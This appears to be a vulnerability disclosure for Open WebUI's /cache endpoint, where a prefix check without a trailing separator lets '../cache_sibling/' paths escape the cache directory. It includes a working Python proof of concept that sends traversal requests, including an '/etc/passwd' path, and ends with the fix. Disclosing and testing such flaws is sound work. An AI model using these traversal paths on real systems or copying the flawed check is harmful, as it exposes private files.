# open_webui/main.py, line 2907-2924
@app.get('/cache/{path:path}')
async def serve_cache_file(path: str, user=Depends(get_verified_user)):
    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))
    # prevent path traversal
    if not file_path.startswith(os.path.abspath(CACHE_DIR)):   # ← BUG: no trailing os.sep
        raise HTTPException(status_code=404, detail='File not found')
    if not os.path.isfile(file_path):
        raise HTTPException(status_code=404, detail='File not found')
    return FileResponse(file_path, headers=headers)

CACHE_DIR = "/data/cache"

# Attacker path: "../cache_sibling/secret.txt"
file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt"))
# → "/data/cache_sibling/secret.txt"

"/data/cache_sibling/secret.txt".startswith("/data/cache")
# → True  ← BYPASS (because "cache_sibling" starts with "cache")

# Correct check would be:
"/data/cache_sibling/secret.txt".startswith("/data/cache/")
# → False  ← BLOCKED

import asyncio
import os
import shutil
import sys
import tempfile
TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_")
os.environ["DATA_DIR"] = TEMP_DATA
os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345"
os.environ["WEBUI_AUTH"] = "false"
CACHE_DIR = os.path.join(TEMP_DATA, "cache")
SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling")
os.makedirs(CACHE_DIR, exist_ok=True)
os.makedirs(SIBLING_DIR, exist_ok=True)

SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR"
with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f:
    f.write(SECRET_CONTENT)
with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f:
    f.write("legitimate_cache_file")
from open_webui.main import app
from open_webui.utils.auth import get_verified_user
class FakeUser:
    id = "poc"
    email = "poc@test"
    role = "user"

app.dependency_overrides[get_verified_user] = lambda: FakeUser()
async def raw_asgi_get(app, path):
    """Send a raw ASGI request without client-side path normalization."""
    scope = {
        "type": "http",
        "method": "GET",
        "path": path,
        "query_string": b"",
        "headers": [(b"host", b"localhost")],
        "root_path": "",
        "asgi": {"version": "3.0"},
    }
    response_started = False
    status_code = None
    body_parts = []

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        nonlocal response_started, status_code
        if message["type"] == "http.response.start":
            response_started = True
            status_code = message["status"]
        elif message["type"] == "http.response.body":
            body_parts.append(message.get("body", b""))

    await app(scope, receive, send)
    return status_code, b"".join(body_parts)


async def main():
    s1, b1 = await raw_asgi_get(app, "/cache/legit.txt")
    s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt")
    s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd")

    baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1
    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2
    deep_blocked = s3 == 404

    print(f"package:     open_webui (pip installed)")
    print(f"version:     0.9.5")
    print(f"function:    serve_cache_file (GET /cache/{{path}})")
    print(f"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))")
    print(f"bypass:      startswith without trailing os.sep allows sibling-prefix match")
    print()
    print(f"CACHE_DIR:   {CACHE_DIR}")
    print(f"SIBLING:     {SIBLING_DIR}")
    print()
    print(f"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}")
    print(f"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}")
    print(f"[control]  /cache/../../etc/passwd     status={s3} (should be 404)")
    print()
    print(f"result:      {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}")

    shutil.rmtree(TEMP_DATA, ignore_errors=True)
    sys.exit(0 if exploit_ok else 1)


if __name__ == "__main__":
    asyncio.run(main())

if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):
    raise HTTPException(status_code=404, detail='File not found')